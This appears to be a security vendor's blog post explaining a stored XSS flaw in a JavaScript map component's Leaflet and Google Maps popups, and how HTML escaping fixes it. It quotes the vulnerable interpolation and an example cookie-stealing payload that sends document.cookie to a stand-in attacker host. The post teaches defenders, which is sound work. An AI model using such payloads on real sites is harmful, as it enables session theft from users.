Back to Blog
critical SEVERITY6 min read

How Stored Cross-Site Scripting (Stored XSS) Happens in JavaScript Map Components and How to Fix It

A critical vulnerability in the content-map component allowed attackers to inject malicious JavaScript through unsanitized title and description fields displayed in map marker popups. By implementing proper HTML entity escaping on both Leaflet and Google Maps implementations, the vulnerability was completely eliminated while preserving all legitimate functionality.

O
By Orbis AppSec
Published August 20, 2026Reviewed August 20, 2026

Answer Summary

This is a Stored Cross-Site Scripting (XSS) vulnerability in JavaScript (CWE-79) where unsanitized API response data was directly interpolated into HTML strings passed to Leaflet's bindPopup() and Google Maps' InfoWindow. The fix implements an escapeHtml() function that converts dangerous characters (&, <, >, ", ') into HTML entities, preventing malicious script execution while preserving the display of legitimate content.

Vulnerability at a Glance

cweCWE-79 (Improper Neutralization of Input During Web Page Generation)
fixHTML entity escaping of title and description fields before passing to map popup/infowindow functions
riskAttackers controlling content API responses can execute arbitrary JavaScript in consumer applications
languageJavaScript (Node.js library)
root causeDirect string interpolation of untrusted API fields into HTML without sanitization
vulnerabilityStored Cross-Site Scripting (XSS) via Unsafe HTML Interpolation

How Stored Cross-Site Scripting (Stored XSS) Happens in JavaScript Map Components and How to Fix It

The Incident

In the content-map component (content/main/content-map/main/index.js), a critical vulnerability allowed attackers to inject and execute arbitrary JavaScript code through seemingly innocent map marker popups. The vulnerability existed at line 149 (Leaflet) and line 283 (Google Maps), where the component directly interpolated API response data into HTML without any sanitization:

marker.bindPopup(`<b>${title}</b><br>${description}`);

This single line of code created a two-step exploitation chain: an attacker could control content via the API, and that malicious content would execute in any user's browser viewing the map. For a Node.js library distributed to downstream consumers, this risk multiplied across every application using this component.

The Vulnerability Explained

What makes this a critical vulnerability?

The content-map component renders interactive maps with markers that display popup information fetched from an API. The title and description fields come directly from API responses—data that an attacker could control by:

  1. Compromising the API backend
  2. Modifying content through an authenticated but compromised account
  3. Intercepting and modifying API responses in transit (if HTTPS is not enforced)

When these untrusted fields are directly interpolated into HTML strings, Leaflet's bindPopup() and Google Maps' InfoWindow treat the content as raw HTML, not plain text. This means any HTML tags—including <img>, <script>, <svg>, and event handlers—are parsed and executed.

The vulnerable code pattern:

// Line 149 - Leaflet binding
marker.bindPopup(`<b>${title}</b><br>${description}`);

// Line 283 - Google Maps InfoWindow
content: `<b>${title}</b><br>${description}`,

A concrete attack scenario:

An attacker creates a content item with this malicious payload in the title field:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

When a user views the map and clicks the marker, the browser:
1. Attempts to load an image from URL x (which fails)
2. Triggers the onerror event handler
3. Executes the JavaScript that steals the user's session cookies
4. Sends them to the attacker's server

The attacker now has the victim's authentication credentials and can impersonate them in the application.

Why this matters for downstream consumers:

This is a Node.js library. Every application that imports and uses this content-map component inherits this vulnerability. Users of affected applications could have their sessions hijacked, credentials stolen, or browsers compromised with malware.

The Fix

The fix implements a dedicated escapeHtml() function that converts dangerous HTML characters into their safe entity equivalents:

Added at line 28:

const escapeHtml = (str) => String(str)
  .replace(/&/g, '&amp;')
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;')
  .replace(/"/g, '&quot;')
  .replace(/'/g, '&#39;');

This function converts:
- &&amp; (ampersand)
- <&lt; (less-than)
- >&gt; (greater-than)
- "&quot; (double quote)
- '&#39; (single quote)

These five replacements neutralize all HTML/JavaScript injection vectors.

Before (vulnerable):

// Line 149 - Leaflet
marker.bindPopup(`<b>${title}</b><br>${description}`);

// Line 283 - Google Maps
content: `<b>${title}</b><br>${description}`,

After (fixed):

// Line 151 - Leaflet (now escaped)
marker.bindPopup(`<b>${escapeHtml(title)}</b><br>${escapeHtml(description)}`);

// Line 283 - Google Maps (now escaped)
content: `<b>${escapeHtml(title)}</b><br>${escapeHtml(description)}`,

How this prevents the attack:

With escaping applied, the malicious payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Becomes:

&lt;img src=x onerror=&quot;fetch(&#39;https://attacker.com/steal?cookie=&#39;+document.cookie)&quot;&gt;

The browser now renders this as plain text in the popup, not as executable HTML. The user sees the literal text of the attack, harmlessly displayed.

Why both Leaflet and Google Maps needed the fix:

The vulnerability existed in two separate code paths:
- Leaflet integration (line 149): Used bindPopup() with HTML content
- Google Maps integration (line 283): Used InfoWindow with HTML content

Both APIs accept HTML content without automatic sanitization, so both required the escaping fix. The fix was scoped to only the vulnerable interpolation points, leaving all other code unchanged.

Prevention & Best Practices

1. Always escape output based on context

When rendering untrusted data in HTML, use context-appropriate escaping:
- HTML context: Use HTML entity encoding (as done here)
- JavaScript context: Use JavaScript string escaping
- URL context: Use URL encoding
- CSS context: Use CSS escaping

2. Treat all external data as untrusted

This includes:
- API responses (even from your own backend—assume it could be compromised)
- User-generated content
- Database records (if they could have been modified by users)
- Configuration files from external sources

3. Use templating engines with auto-escaping

Modern frameworks like React, Vue, and Angular escape content by default when using template syntax:

// React - automatically escapes
<div>{title}</div>

// Vue - automatically escapes
<div>{{ title }}</div>

However, when you use dangerouslySetInnerHTML (React) or v-html (Vue), you bypass auto-escaping and must manually escape.

4. Validate and sanitize at multiple layers

  • Input validation: Reject obviously malicious patterns at the API level
  • Output encoding: Escape when rendering (as done in this fix)
  • Content Security Policy (CSP): Add a defense-in-depth layer:
Content-Security-Policy: default-src 'self'; script-src 'self'

This prevents inline scripts from executing even if escaping fails.

5. Use security-focused linting tools

Configure ESLint with security plugins:

// .eslintrc.json
{
  "plugins": ["security"],
  "rules": {
    "security/detect-object-injection": "warn",
    "security/detect-unsafe-regex": "warn"
  }
}

6. Test with malicious payloads

Include security test cases that verify escaping works:

describe('escapeHtml', () => {
  it('should escape XSS payloads', () => {
    const payload = '<img src=x onerror="alert(1)">';
    const escaped = escapeHtml(payload);
    expect(escaped).toBe('&lt;img src=x onerror=&quot;alert(1)&quot;&gt;');
  });
});

Key Takeaways

  • Direct HTML interpolation of API data is dangerous: The pattern `<b>${apiData}</b>` is a red flag for stored XSS in any context (maps, comments, profiles, etc.)
  • Map libraries don't sanitize by default: Both Leaflet and Google Maps treat HTML content as-is, requiring developers to escape untrusted data before passing it to bindPopup() or InfoWindow
  • Escaping must happen at the point of use: The fix escapes data exactly where it enters HTML context, making the security boundary clear and maintainable
  • The attack chain is surprisingly short: From API compromise to code execution in user browsers takes just two steps—API data → HTML rendering
  • Downstream consumers inherit the risk: As a Node.js library, this vulnerability affected every application using the content-map component, making the fix critical for the entire ecosystem

How Orbis AppSec Detected This

Source: The title and description fields originating from API responses in the content fetching logic

Sink: The marker.bindPopup() call at line 149 and the InfoWindow content assignment at line 283, where untrusted data is directly interpolated into HTML strings

Missing control: No HTML entity encoding or sanitization of API response fields before passing them to HTML-accepting APIs

CWE: CWE-79 – Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Fix: Implemented an escapeHtml() function that converts HTML metacharacters to entity references, applied to both title and description fields before rendering in map popups

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Stored XSS vulnerabilities in map components are particularly dangerous because they hide in plain sight—a simple popup seems innocuous until an attacker exploits it. The fix applied here—HTML entity escaping at the point of rendering—is a fundamental security control that should be applied universally whenever untrusted data enters an HTML context.

For developers maintaining similar code:
- Review all places where external data is rendered in HTML
- Implement context-appropriate escaping
- Add security tests with known malicious payloads
- Use automated scanning tools to catch these patterns before they reach production

The content-map component now safely displays user-provided titles and descriptions without risk of JavaScript injection, protecting both the library and all applications that depend on it.

References

Frequently Asked Questions

What is Stored Cross-Site Scripting (XSS)?

Stored XSS occurs when untrusted data from a database or API is rendered in HTML without sanitization, allowing attackers to inject malicious scripts that execute in users' browsers.

How do you prevent XSS in JavaScript map libraries?

Always escape HTML entities in untrusted data before passing it to DOM manipulation functions or HTML-accepting APIs like bindPopup() or InfoWindow content parameters.

What CWE is this vulnerability?

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is Content Security Policy (CSP) enough to prevent this XSS?

CSP is a valuable defense-in-depth layer, but it should not replace proper output encoding. The vulnerability should be fixed at the source by escaping untrusted data.

Can static analysis detect this vulnerability?

Yes. Tools like Semgrep, ESLint with security plugins, and SAST scanners can detect direct string interpolation of variables into HTML strings passed to DOM APIs.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #265

Related Articles

critical

How DOM-Based XSS Happens in jQuery tagsInput() and How to Fix It

A DOM-based Cross-Site Scripting (XSS) vulnerability was discovered in the VvvebJs web editor's `inputs.js` file where the jQuery `tagsInput()` function at line 932 directly inserted user-controlled data into the DOM without sanitization. The fix applies HTML entity encoding to all string values before they reach the DOM, preventing malicious script injection while preserving legitimate tag functionality.

critical

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A critical Cross-Site Scripting (XSS) vulnerability was discovered in `js/main.js` where commit messages fetched from the GitHub API were directly interpolated into `innerHTML` without any sanitization. An attacker with repository write access could push a commit with a malicious message like `<img src=x onerror=alert(document.cookie)>`, causing arbitrary JavaScript execution in every visitor's browser. The fix applies HTML entity encoding to all five dangerous characters before rendering.

critical

How Cross-Site Scripting (XSS) happens in JavaScript template rendering and how to fix it

A cross-site scripting (XSS) vulnerability in `renderer/views/library.js` allowed attackers who could control mod metadata—such as category icons rendered in pack thumbnail grids—to inject arbitrary JavaScript through unescaped output in `innerHTML` assignments. The fix wraps the `catIcon()` return value in the existing `esc()` helper, ensuring all dynamically generated HTML content is properly encoded before insertion into the DOM.

critical

How XSS via unescaped sender_name happens in JavaScript chat widgets and how to fix it

A stored Cross-Site Scripting (XSS) vulnerability in `frontend/scripts/chat-widget.js` allowed attackers to inject arbitrary JavaScript by crafting a malicious `sender_name` field, which was interpolated directly into a DOM template string without HTML encoding. The `renderFileContent()` function compounded the risk by also inserting unsanitized `file.name` and `file.url` values into `img`, `span`, and `anchor` elements. The fix applies `AppUtils.escapeHTML()` to every user-controlled value befo

critical

How HTML sanitizer bypass via XMP tag passthrough happens in Node.js and how to fix it

A critical cross-site scripting (XSS) vulnerability in the sanitize-html library allowed attackers to bypass HTML sanitization through improper handling of the `<xmp>` raw-text element. This vulnerability could enable stored XSS attacks in any Node.js application using sanitize-html versions prior to 2.17.4. The fix involved upgrading the library to properly handle raw-text elements and prevent script injection.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.